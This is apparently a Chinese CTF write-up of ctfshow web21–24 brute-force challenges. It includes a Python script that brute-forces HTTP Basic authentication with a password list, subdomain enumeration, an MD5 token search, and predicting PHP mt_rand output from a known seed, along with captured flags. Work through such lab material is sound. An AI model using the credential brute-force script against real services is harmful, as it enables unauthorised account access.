ctfshow-web入门-爆破(web21-web24)

2024-06-03 10:52

本文主要是介绍ctfshow-web入门-爆破(web21-web24),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

1、web21

2、web22

3、web23

4、web24


1、web21

爆破什么的,都是基操

需要认证才能访问

随便输一个用户名和密码抓包看看:

多出来一个认证的头 Authorization: Basic YWRtaW46MTIzNDU2

base64 解码看看:

就是我们刚才输入的用于测试的用户名和密码

发到攻击模块进行爆破,设置爆破的位置

有限载荷选择自定义迭代器,因为它这里的用户名和密码合并在了一起,使用冒号隔开的,如果是相互独立的参数,多个参数我们会采用其他的攻击模式而不是使用狙击手。

设置位置一:用户名(其实一般我们猜都是猜 admin )

设置位置二:冒号

设置位置三:密码

我这里最开始用字典没爆破出来,看了它的提示,密码是 shark63(这里主要是做测试)

之后我们需要对 payload 进行base64 编码 

注意这里需要将 URL 编码取消掉:

查看爆破结果,筛选长度不同的:YWRtaW46c2hhcms2Mw==

解码为:

登录:

拿到 flag:ctfshow{1ccf243b-8b20-4db4-b956-8c571066c0c5}

参考了一下它这个代码,有点问题:

自己重新写了个简单的:其中 test.txt 是我们自定义的一个密码字典

import requests
import base64url = 'https://bc4afed2-ccc8-4ecc-a665-be5a5420435c.challenge.ctf.show/'with open("test.txt", "r") as f:for i in f:i = i.strip()payload = "admin:"+iheader = {"Authorization": "Basic {}".format(base64.b64encode(payload.encode()).decode())}# payload.encode() 将字符串 payload 转换为字节串re = requests.get(url, headers=header)# print(re.status_code)if re.status_code == 200:print(re.text)

运行即可拿到 flag:ctfshow{3233c118-e8d4-461e-aba5-ba801a420a31}

2、web22

域名也可以爆破的,试试爆破这个ctf.show的子域名

flag.ctf.show 页面无法访问(前面有一个查这个域名的 DNS 的 TXT信息的题也是有问题)

使用 layer 挖一下 ctf.show 的子域名

网上说是在 vip.ctf.show ,将鼠标悬停在标题处,但是我试了一下现在已经不行了

flag 为:flag{ctf_show_web}

3、web23

还爆破?这么多代码,告辞!

php 函数介绍:

(1)intval 函数用于将变量转换为整数

示例:

echo intval("42"); // 输出 42
echo intval("42abc"); // 输出 42
echo intval("abc42"); // 输出 0

(2)substr 函数用于从字符串中提取子字符串

用法:

$substring = substr($string, $start, $length);

参数说明:

string:要提取子字符串的字符串。

start:开始位置,从 0 开始。如果是负数,则从字符串末尾开始计算位置。

length(可选):提取的子字符串长度。如果省略,则提取从 start 到字符串末尾的所有字符。 

示例:

echo substr("Hello, world!", 4);
echo substr("Hello, world!", 4, 5);

代码审计:

以 get 方式提交参数 token;

md5($_GET['token']) 会将 token 参数转换为一个 32 字符的十六进制字符串;

substr($token, 1,1) === substr($token, 14,1) && substr($token, 14,1) === substr($token, 17,1)
比较 MD5 哈希的第 2、15 和 18 个字符是否相同;
(intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1) === intval(substr($token, 31,1)) 将第 2、15 和 18 个字符转换为整数相加,再除以第 2 个字符的整数值,检查结果是否等于第 32 个字符的整数值;

上述条件都满足则会输出 flag。

写个Python 脚本来遍历出符合要求的字符串:

import hashlib
import itertoolsdef check_token(token):"""检查给定的 token 是否符合特定的条件。1. token 的 MD5 哈希值的第 2、15 和 18 个字符相同。2. 这些字符的整数值与第 32 个字符满足特定的算术关系。"""hashed_token = hashlib.md5(token.encode()).hexdigest()# 条件1:检查第 2、15 和 18 个字符是否相同if not (hashed_token[1] == hashed_token[14] == hashed_token[17]):return False# 条件2:检查特定的算术关系try:char1 = int(hashed_token[1])char31 = int(hashed_token[31])# 避免除零错误if char1 == 0:return Falseif (3 * char1) / char1 == char31: # 第 2、15 和 18 个字符是相同的,因此它们转成整数值也是相同的,所以直接用 3 倍关系return Trueexcept ValueError:return Falsereturn False# 定义包含所有字母和数字的字符集
characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"# 遍历所有可能的组合(这里以长度为1到5为例,可以根据需要调整)
for length in range(1, 6):  # 尝试长度从 1 到 5 的组合for candidate in (''.join(c) for c in itertools.product(characters, repeat=length)):if check_token(candidate):print(f"符合条件的 token 是: {candidate}")break  # 找到符合条件的 token 后停止else:continue  # 如果内循环没有中断,则继续外循环break  # 找到符合条件的 token 后,退出外循环
else:print("没有找到符合条件的 token")  # 如果所有组合都不符合条件,输出消息

 构造 payload:?token=ZE

拿到 flag:ctfshow{3ee12286-7b8f-4962-bf3c-ebbc8c04ce10}

4、web24

爆个🔨

代码审计:

mt_srand(372619038); 使用 mt_srand() 函数设置 Mersenne Twister 随机数生成器的种子为固定值 372619038,这会使随机数生成器生成的随机数序列在每次运行时都相同,因为种子值固定了;if(intval($r)===intval(mt_rand())){ 检查 GET 参数 r 转换为整数后是否等于调用 mt_rand() 生成的随机数的整数值,等于则输出 flag。

我们只需要使用给定的种子生成对应的随机数再转为整数即可

<?phpmt_srand(372619038);echo intval(mt_rand());
?>

运行得到:1155388967,传给 r 

拿到 flag:ctfshow{8e8f18d8-f1b5-465d-b27a-1738b6909279}

这篇关于ctfshow-web入门-爆破(web21-web24)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1026785

相关文章

Spring Security 从入门到进阶系列教程

Spring Security 入门系列 《保护 Web 应用的安全》 《Spring-Security-入门(一):登录与退出》 《Spring-Security-入门(二):基于数据库验证》 《Spring-Security-入门(三):密码加密》 《Spring-Security-入门(四):自定义-Filter》 《Spring-Security-入门(五):在 Sprin

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

数论入门整理(updating)

一、gcd lcm 基础中的基础,一般用来处理计算第一步什么的,分数化简之类。 LL gcd(LL a, LL b) { return b ? gcd(b, a % b) : a; } <pre name="code" class="cpp">LL lcm(LL a, LL b){LL c = gcd(a, b);return a / c * b;} 例题:

Java 创建图形用户界面(GUI)入门指南(Swing库 JFrame 类)概述

概述 基本概念 Java Swing 的架构 Java Swing 是一个为 Java 设计的 GUI 工具包,是 JAVA 基础类的一部分,基于 Java AWT 构建,提供了一系列轻量级、可定制的图形用户界面(GUI)组件。 与 AWT 相比,Swing 提供了许多比 AWT 更好的屏幕显示元素,更加灵活和可定制,具有更好的跨平台性能。 组件和容器 Java Swing 提供了许多

【IPV6从入门到起飞】5-1 IPV6+Home Assistant(搭建基本环境)

【IPV6从入门到起飞】5-1 IPV6+Home Assistant #搭建基本环境 1 背景2 docker下载 hass3 创建容器4 浏览器访问 hass5 手机APP远程访问hass6 更多玩法 1 背景 既然电脑可以IPV6入站,手机流量可以访问IPV6网络的服务,为什么不在电脑搭建Home Assistant(hass),来控制你的设备呢?@智能家居 @万物互联

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

poj 2104 and hdu 2665 划分树模板入门题

题意: 给一个数组n(1e5)个数,给一个范围(fr, to, k),求这个范围中第k大的数。 解析: 划分树入门。 bing神的模板。 坑爹的地方是把-l 看成了-1........ 一直re。 代码: poj 2104: #include <iostream>#include <cstdio>#include <cstdlib>#include <al

MySQL-CRUD入门1

文章目录 认识配置文件client节点mysql节点mysqld节点 数据的添加(Create)添加一行数据添加多行数据两种添加数据的效率对比 数据的查询(Retrieve)全列查询指定列查询查询中带有表达式关于字面量关于as重命名 临时表引入distinct去重order by 排序关于NULL 认识配置文件 在我们的MySQL服务安装好了之后, 会有一个配置文件, 也就

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

音视频入门基础:WAV专题(10)——FFmpeg源码中计算WAV音频文件每个packet的pts、dts的实现

一、引言 从文章《音视频入门基础:WAV专题(6)——通过FFprobe显示WAV音频文件每个数据包的信息》中我们可以知道,通过FFprobe命令可以打印WAV音频文件每个packet(也称为数据包或多媒体包)的信息,这些信息包含该packet的pts、dts: 打印出来的“pts”实际是AVPacket结构体中的成员变量pts,是以AVStream->time_base为单位的显